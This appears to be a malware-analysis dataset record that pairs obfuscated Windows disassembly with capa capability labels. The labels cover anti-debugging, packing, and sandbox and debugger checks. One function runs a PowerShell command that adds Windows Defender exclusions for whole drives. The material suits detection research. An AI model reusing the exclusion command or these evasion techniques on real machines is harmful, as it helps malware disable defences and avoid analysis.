joyce8/EMBER2024-capa huggingface dataset:
Function at 0x103d744d
Capabilities:
Execute anti-debugging instructions

Disassembly:
push edx
jmp 0x104a9ab8
call fcn.100281e0
add esp, 4
cbw
seto ah
lea eax, [ebp - 0x520]
jmp 0x103a0130
call fcn.10028230
test al, al
jmp 0x10359657
push 0x4d
jmp 0x101a6326
call fcn.104615ce
add esp, 0x1c
jmp 0x1038d134
call fcn.10028230
test al, al
je 0x10464f44
mov edx, dword [ebp - 0x1178]
jmp 0x102f13e2
je 0x104a9ac3
mov ecx, dword [ebp - 0x1178]
not al
xchg dx, ax
cbw
push ecx
movzx ecx, bx
lea edx, [ebp - 0x520]
jmp 0x103f53a3
je 0x103bb4d4
mov ecx, dword [ebp - 0x1178]
cwd
mov edx, 0x1e412a83
push ecx
cbw
rdtsc
lea edx, [ebp - 0x520]
push edx
lea eax, [ebp - 0x950]
push eax
lea ecx, [ebp - 0x788]
movzx edx, sp
cmovb edx, edx
push ecx
movzx edx, bx
mov dh, dl
push 3
cmovnp dx, si
mov dl, 0xde
lea edx, [ebp - 0x18]
push 0x4d
jmp 0x103bb4c9
push edx
lahf
not ax
lea eax, [ebp - 0x520]
movsx edx, dx
push eax
cbw
lea ecx, [ebp - 0x950]
rdtsc
xchg al, dh
push ecx
lea edx, [ebp - 0x788]
movzx eax, bp
push edx
cbw
cwde
push 3
lea eax, [ebp - 0x18]
jmp 0x10341056
push 0x4d
jmp 0x103c98bf
mov ecx, dword [ecx]
push edx
mov dh, dh
cdq
cwd
mov edx, dword [eax + 4]
jmp 0x1049277c
lea ecx, [ebp - 0x520]
push ecx
bswap dx
lea edx, [ebp - 0x950]
mov ax, bx
push edx
lahf
lea eax, [ebp - 0x788]
mov cx, cx
cmovge cx, dx
not cl
push eax
movsx ecx, si
mov ecx, ebp
movzx ecx, dx
push 3
setno ch
lea ecx, [ebp - 0x18]
push 0x4d
jmp 0x104288a5
je 0x1038d134
mov eax, dword [ebp - 0x1178]
push eax
jmp 0x1035552b
call fcn.1004a480
lea esi, [ebp - 0x1394]
jmp 0x1045adfb
push eax
lea eax, [ebp - 0x13a4]
call fcn.10052000
mov ecx, dword [eax]
xor si, 0x684a
rol dx, 0x5b
mov edx, dword [eax + 4]
add esp, 0x14
movzx esi, cx
lea esi, [ebp - 0x13b4]
jmp 0x10395cb4
push ebx
lea esi, [ebp - 0x60]
movsx ax, dl
lea eax, [ebp - 0x520]
call fcn.100281e0
add esp, 4
nop
cmova ax, bp
not ax
lea eax, [ebp - 0x520]
jmp 0x1029e2be
mov dword [ebp - 0x11a4], ecx
jmp 0x1001420b
call fcn.10028230
test al, al
jmp 0x102a9ce4
push edx
call fcn.10425ecc
add esp, 0x1c
bswap esi
push ebx
lea esi, [ebp - 0xd4]
mov ax, 0x7dbd
lahf
lea eax, [ebp - 0x520]
jmp 0x103dc85c
call fcn.1004a460
lea ecx, [ebp - 0x1178]
push ecx
mov ecx, dword [ebp - 0x1180]
mov edx, dword [ecx + 4]
jmp 0x1034698b
push eax
jmp 0x10464f38
push 0x640f8482
call fcn.1022401a
call fcn.10028230
test al, al
jmp 0x102c2198
call fcn.100281e0
add esp, 4
cbw
lea eax, [ebp - 0x520]
jmp 0x10208352
push edx
xchg edx, eax
lea eax, [ebp - 0x950]
cdq
push eax
lea ecx, [ebp - 0x788]
push ecx
xchg edx, edx
push 3
lea edx, [ebp - 0x18]
jmp 0x10232bac
push ecx
jmp 0x1028e868
mov edi, 0x1016b93c
jmp 0x10365bb3
mov dword [ebp - 0x1180], eax
jmp 0x103c473b
call fcn.1034882e
add esp, 0x1c
bswap esi
not ah
push ebx
mov ah, dh
setns ah
mov esi, 0x10114a6c
lea eax, [ebp - 0x520]
jmp 0x101f9afb
mov eax, dword [eax]
push ecx
push edx
jmp 0x1038adf6
call fcn.10246fb9
add esp, 0x1c
movzx esi, cx
lea esi, [ebp - 0x1384]
jmp 0x1044fe70
Function at 0x104056d2
Capabilities:
Read file on windows

Disassembly:
pop edi
mov esi, edi
pop esi
xchg ebx, ebx
movzx bx, dl
pop ebx
jmp 0x103af926
mov dword [ebp - 4], 0xfffffffe
not esi
bswap bx
mov eax, edi
xchg bl, bh
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
mov bh, cl
movsx cx, al
pop ecx
not bh
jmp 0x101c76c1
mov dword [ebp - 0x24], edi
jmp loc.10037a8d
push 0x10112e8c
push esi
jmp 0x103a8d15
call fcn.100729ad
lea esp, [esp + 0x14]
stc
xor ax, ax
mov eax, 0x5a4d
test ch, 0x24
cmp word [ebp - 0x20], ax
jmp 0x103b2b5f
cmp eax, edi
je 0x102067bb
push eax
movzx edx, cx
push 1
push 2
xchg edx, edx
lea edx, [ebp - 0x20]
jmp 0x10455a9c
call fcn.10072919
mov edx, dword [ebp - 0x1c]
jmp 0x1037ce7f
call fcn.10072626
add esp, 0xc
add ah, 0xb4
movzx eax, dx
bts eax, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, edi
jmp 0x104e92d7
push edx
jmp 0x10314ee3
push eax
jmp 0x1036e19e
lea ecx, [ebp - 0x1c]
jmp 0x10448a71
mov esp, ebp
pop ebp
jmp 0x104169f1
jne 0x102067bb
mov edi, 1
jmp 0x103db4bd
push 0xffffffffffffffff
jmp 0x102ae9f3
push ebp
bt ebp, edx
mov ebp, 0x7ea8511f
or ebp, ebx
mov ebp, esp
cwde
cmp sp, 0x5064
push 0xfffffffffffffffe
neg ax
push 0x101f8ba4
shl al, cl
push 0x10078ce0
clc
sub eax, edi
shl ah, 0xa3
mov eax, dword fs:[0]
test ax, sp
clc
push eax
rol ah, 0x76
movzx eax, di
lea esp, [esp - 0x14]
neg eax
shld ax, dx, 0xbb
push ebx
shr ah, 0xdf
push esi
btc eax, 0x63
rcl esi, 0xbe
push edi
bt eax, 0xba
not ah
cmp bp, 0x13ad
mov eax, dword [0x1014ade0]
xor dword [ebp - 8], eax
xor eax, ebp
mov si, 0x503b
push eax
bts si, bx
lea eax, [ebp - 0x10]
add esi, esp
mov dword fs:[0], eax
ror ah, cl
cmc
cmp eax, 0x7d8e55e1
mov dword [ebp - 0x18], esp
dec ah
bt esi, 0x71
mov esi, ecx
btc eax, 0x6f
adc eax, esp
or eax, ebp
xor edi, edi
not eax
movsx eax, sp
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
movsx eax, si
movsx ax, bh
cwde
mov dword [ebp - 4], edi
push 0x10112e88
xchg ah, ah
mov ax, 0x37b6
lahf
push esi
movsx ax, ah
lea eax, [ebp - 0x1c]
jmp 0x103a5589
ret
push ecx
call fcn.10072b06
lea esp, [esp + 0xc]
ror ax, 0x3b
mov eax, dword [ebp - 0x1c]
test dh, 0x8d
jmp 0x1034825e
push edx
jmp loc.10021de3
je 0x102eecc2
push eax
xchg ecx, ecx
push 1
movsx cx, bl
push 2
movzx ecx, sp
bswap ecx
lea ecx, [ebp - 0x20]
push ecx
jmp 0x1035229c

Function at 0x1040e457
Capabilities:
Authenticate hmac

Disassembly:
mov byte [esp + 0xf9], 0xbe
jmp 0x103a4740
mov byte [esp + 0xf0], 0x52
mov byte [esp + 0xf1], 0x3a
mov byte [esp + 0xf2], 0xaa
jmp 0x104e0101
mov byte [esp + 0xef], dl
jmp 0x104aebe8
mov byte [esp + 0xfa], 0x7e
jmp loc.10054a56
mov byte [esp + 0xf4], 0x50
mov byte [esp + 0xf5], 0x7c
mov byte [esp + 0xf6], 0x14
jmp 0x104b03d4
mov byte [esp + 0x102], cl
xchg cl, cl
setne cl
mov cl, 0xb1
mov byte [esp + 0xed], 0xf8
mov byte [esp + 0xee], 0xc0
jmp 0x102ca0bb
push 0x54734d8b
call fcn.102582df
mov byte [esp + 0xeb], 9
mov byte [esp + 0xec], cl
jmp 0x103161f8
mov dl, 0xe2
jmp 0x103df7ca
mov byte [esp + 0xf7], dl
mov byte [esp + 0xf8], 0x51
jmp 0x101cd9a0
mov byte [esp + 0xf3], 0xbb
jmp 0x103c5c8e
Function at 0x1042baec
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
shl al, 0x1b
test bp, dx
push 0xffffffffffffffff
movzx ax, al
mov ax, 0x34ba
btr ax, 0xac
push 0x100e7d91
clc
ror ax, 0x1a
mov eax, dword fs:[0]
push eax
rcr ah, 0x9f
bt eax, 0xef
sub esp, 0x878
or al, 0xe6
shr al, cl
shrd eax, esp, 0x3a
mov eax, dword [0x1014ade0]
xor eax, ebp
jmp loc.10033951

Function at 0x104380b0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x54734d8b
call fcn.102582df
mov al, byte [0xe81e0c02]
insd dword es:[edi], dx
sar edi, 0x8d
xchg ebp, eax
mov dh, ch
invalid

Function at 0x10455f8f
Capabilities:
Contain obfuscated stackstrings
Execute anti-debugging instructions

Disassembly:
call eax
lea ebx, [eax + 0x10]
jmp 0x1031f5d8
jne 0x10439980
push 0x80004005
jmp 0x1043997b
mov dword [ebp - 0x4f4], ebx
jmp 0x1035cf41
call fcn.10072200
cdq
shl ch, 0xd6
mov ecx, 0x64
cmp cx, 0x10e9
idiv ecx
cmovae eax, esp
jmp 0x10038db8
mov dword [ebp - 4], edi
jmp 0x103d7885
call fcn.10021a50
push eax
call fcn.100721ee
add esp, 4
call fcn.10072200
cdq
ror ch, cl
sal ch, cl
mov ecx, 0x1b58
idiv ecx
cmp di, 0x169b
cmp ebx, ecx
add edx, 0x1194
jmp 0x10421a57
mov dword [ebp - 0x504], edx
jmp 0x1032f3ca
call fcn.10005570
mov edx, dword [eax]
mov ecx, 0x3f3b01c3
bswap cx
mov ecx, eax
bswap eax
cbw
mov eax, ebp
mov eax, dword [edx + 0xc]
jmp 0x10207a48
push 0x640f8482
call fcn.1022401a
call fcn.1006a82b
sub ecx, ecx
cmp eax, edi
setne cl
cmp edx, 0x4a6a3c5a
cmp ecx, edi
jmp 0x1029708b

Function at 0x1045cdaf
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x640f8482
call fcn.1022401a

Function at 0x10471d13
Capabilities:
Execute anti-debugging instructions

Disassembly:
call esi
push 0x54734d8b
call fcn.102582df
call dword [0x100ec410]
push eax
jmp 0x1030f503
Function at 0x401310
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [0x40efe0], 0
je 0x4013af
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push 0
lea ecx, [ebp - 0xc]
push ecx
push 0
push 1
push 0
push 1
push 0
push 1
mov edx, dword [0x40efe0]
push edx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0x400
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x40137a
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0
je 0x4013af
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 1
push 0
push 1
push 0
push 1
mov ecx, dword [0x40efe0]
push ecx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret

Function at 0x401938
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401942
repz ret
jmp fcn.00403beb

Function at 0x40849b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403d63
and dword [ebp - 4], 0
cmp dword [0x40f95c], 0
mov ebx, eax
jne 0x40854c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4085fd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40bb90
push edi
call esi
test eax, eax
je 0x4085fd
push eax
call fcn.00403cf1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40f95c], eax
call esi
push eax
call fcn.00403cf1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40f960], eax
call esi
push eax
call fcn.00403cf1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40f964], eax
call esi
push eax
call fcn.00403cf1
pop ecx
mov dword [0x40f96c], eax
test eax, eax
je 0x40854c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403cf1
pop ecx
mov dword [0x40f968], eax
mov eax, dword [0x40f968]
cmp eax, ebx
je 0x4085a4
cmp dword [0x40f96c], ebx
je 0x4085a4
push eax
call fcn.00403d6c
push dword [0x40f96c]
mov esi, eax
call fcn.00403d6c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4085a4
test edi, edi
je 0x4085a4
call esi
test eax, eax
je 0x40859b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40859b
test byte [ebp - 0xc], 1
jne 0x4085a4
or dword [ebp + 0x10], 0x200000
jmp 0x4085dd
mov eax, dword [0x40f960]
cmp eax, ebx
je 0x4085dd
push eax
call fcn.00403d6c
pop ecx
test eax, eax
je 0x4085dd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4085dd
mov eax, dword [0x40f964]
cmp eax, ebx
je 0x4085dd
push eax
call fcn.00403d6c
pop ecx
test eax, eax
je 0x4085dd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40f95c]
call fcn.00403d6c
pop ecx
test eax, eax
je 0x4085fd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4085ff
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408510
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x43120c], 0
mov ebp, esp
push edi
mov ecx, dword [ebp + 0xc]
push esi
push ebx
mov ebx, dword [ebp + 0x10]
jne 0x408551
xor edx, edx
mov eax, edx
mov esi, 8
mov edi, eax
and eax, 1
neg eax
shr edi, 1
and eax, 0xedb88320
xor eax, edi
dec esi
jne 0x40852e
mov dword [edx*4 + 0x431208], eax
inc edx
cmp edx, 0x100
jne 0x408527
mov eax, dword [ebp + 8]
not eax
jmp 0x40856b
mov dl, byte [ecx]
dec ebx
inc ecx
xor edx, eax
movzx edx, dl
shr eax, 8
xor eax, dword [edx*4 + 0x431208]
test ebx, ebx
jne 0x408558
pop ebx
not eax
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x431072
nop
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x622617d3
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x431060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x454a006d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4310c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001a0b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x100216dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], esi
call fcn.10001401
mov ebx, eax
cmp ebx, esi
je 0x10001a7c
lea ecx, [ebp - 0x214]
call fcn.1000137e
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a86c
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x10001a9a
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x214]
call fcn.10001a0b
cmp eax, esi
jne 0x10001ae1
lea eax, [ebp - 0x220]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x204]
push eax
push esi
push dword [ebp - 0x214]
mov dword [ebp - 0x208], 0x100
call ebx
test eax, eax
je 0x10001a84
lea ecx, [ebp - 0x214]
call fcn.1000137e
push dword [ebp - 0x218]
mov ecx, edi
call fcn.1000130e
lea ecx, [ebp - 0x214]
mov esi, eax
call fcn.1000137e
mov eax, esi
jmp 0x10001a6b
Function at 0x100035f8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x10019a8c
call fcn.1000ad39
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 2
push esi
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x41c], eax
cmp eax, esi
jne 0x10003651
call fcn.10001180
mov esi, eax
jmp 0x10003727
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
jne 0x1000366a
call fcn.10001180
jmp 0x10003719
push edi
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, esi
je 0x10003660
push edi
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
mov dword [ebp - 0x424], edi
cmp eax, edi
jae 0x100036a4
mov esi, 0x8007000e
jmp 0x1000371b
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000289c
mov dword [ebp - 4], 1
jmp 0x100036d2
cmp dword [ebp - 0x418], esi
je 0x1000369d
push edi
push dword [ebp - 0x418]
push edi
push dword [ebp - 0x420]
push esi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, esi
je 0x10003660
mov edx, dword [ebp - 0x418]
push dword [ebp + 0x14]
xor ecx, ecx
mov word [edx + eax*2], cx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x42c]
call fcn.100034a7
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10003740
lea ecx, [ebp - 0x418]
call fcn.100019a0
mov eax, esi
call fcn.1000ad95
ret 0x10
Function at 0x10004f0c
Capabilities:
Encode data using base64 via winapi
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push SysReAllocStringLen
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 8], ebx
cmp ebx, 0xffffffff
jne 0x10004f43
mov eax, 0x80070002
jmp 0x1000502e
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push 8
push ebx
call edi
cmp eax, 0xffffffff
je 0x10004fa0
push esi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp + 0xc]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp + 0xc], esi
mov dword [ebp - 0xc], esi
call ebx
test eax, eax
je 0x10004fa0
push esi
push esi
push 0x10
push dword [ebp - 8]
call edi
cmp eax, 0xffffffff
je 0x10004fa0
push dword [ebp + 0xc]
call fcn.1000ae12
pop ecx
push esi
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push eax
push dword [ebp - 8]
call ebx
test eax, eax
jne 0x10004faa
mov eax, 0x80004005
jmp 0x1000502d
mov edi, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
lea eax, [ebp - 0x10]
push eax
push esi
mov ebx, 0x40000001
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call edi
test eax, eax
je 0x1000502b
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000ae12
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp - 4]
call edi
test eax, eax
je 0x1000501d
push dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.10004ecb
cmp dword [ebp - 4], esi
jne 0x10005034
xor eax, eax
mov ecx, dword [ebp + 0x10]
push esi
mov dword [ecx], eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff0
call fcn.10003c09
cmp dword [ebp - 8], esi
je 0x1000502b
push dword [ebp - 8]
call fcn.10008f28
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
push dword [ebp - 4]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
cmp eax, esi
jne 0x10005006
push 0x8007000e
call fcn.100010f5
int3

Function at 0x10005394
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x128
push 0
push esi
call fcn.1000ae20
push 0x20
push 0x1001ad40
add esi, 0x100
push esi
call fcn.1000b940
add esp, 0x18
pop esi
pop ebp
ret
Function at 0x1000a86c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100216dc]
jne 0x1000a876
repz ret
jmp fcn.1000db28

Function at 0x1001384b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100216dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000e906
and dword [ebp - 0x14], 0
cmp dword [0x100239c8], 0
mov dword [ebp - 0x18], eax
jne 0x100138fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100139a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100139a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100239c8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100239cc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100239d0], eax
call edi
push eax
call esi
mov dword [0x100239d8], eax
test eax, eax
je 0x100138fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100239d4], eax
mov eax, dword [0x100239d4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10013957
cmp dword [0x100239d8], ecx
je 0x10013957
push eax
call esi
push dword [0x100239d8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10013957
test ebx, ebx
je 0x10013957
call edi
test eax, eax
je 0x1001394e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001394e
test byte [ebp - 8], 1
jne 0x10013957
or dword [ebp + 0x10], 0x200000
jmp 0x1001398a
mov eax, dword [0x100239cc]
cmp eax, dword [ebp - 0x18]
je 0x1001398a
push eax
call esi
test eax, eax
je 0x1001398a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001398a
mov eax, dword [0x100239d0]
cmp eax, dword [ebp - 0x18]
je 0x1001398a
push eax
call esi
test eax, eax
je 0x1001398a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100239c8]
call esi
test eax, eax
je 0x100139a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100139a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a86c
leave
ret
Function at 0x10002170
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Check mutex on windows
Create process on windows
Create thread
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
push ebx
push esi
push str.Add_Mppreference__ExclusionPath_C:Program_Files__x86___C:__Force
lea eax, [ebp - 0x4a4]
push str.powershell.exe__Command___s_
push eax
call fcn.10002b10
add esp, 0xc
mov dword [ebp - 0x64], 0x44
xor eax, eax
mov dword [ebp - 0x38], 1
mov word [ebp - 0x22], ax
xorps xmm0, xmm0
mov word [ebp - 0x34], ax
xor bl, bl
lea eax, [ebp - 0x20]
movlpd qword [ebp - 0x60], xmm0
push eax
lea eax, [ebp - 0x64]
movlpd qword [ebp - 0x58], xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4a4]
movlpd qword [ebp - 0x50], xmm0
push eax
push 0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x32], xmm0
movlpd qword [ebp - 0x2a], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10002218
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x20]
mov bl, 1
call esi
push dword [ebp - 0x1c]
call esi
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x74], 2
jl 0x10002342
push edi
push 0x5f5e100
call fcn.10021040
mov edi, eax
add esp, 4
test edi, edi
je 0x10002259
push 0x5f5e100
push 0
push edi
call fcn.1001de70
push edi
call fcn.10021030
add esp, 0x10
push str.FakeMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword fs:[0x30]
mov eax, dword ds:[eax + 0xc]
movzx eax, byte ds:[eax + 2]
test eax, eax
je 0x10002282
int3
pop edi
test al, al
jne 0x10002342
push 0
push 0
push 0
push 0x10001840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 1
push 0
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], eax
test ecx, ecx
je 0x100022fe
test eax, eax
je 0x100022f8
push 0xbb8
push 0
lea eax, [ebp - 8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 0x102
jne 0x100022ee
lea eax, [ebp - 0x10]
push eax
call fcn.10002350
lea eax, [ebp - 0x10]
push eax
call fcn.10002350
add esp, 8
push dword [ebp - 8]
call esi
push dword [ebp - 4]
jmp 0x10002303
push ecx
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x10002305
push eax
call esi
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x10002335
cmp dword [ebp - 0x98], 0
ja 0x10002335
cmp dword [ebp - 0x9c], 0x80000000
jb 0x10002342
call fcn.10002460
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret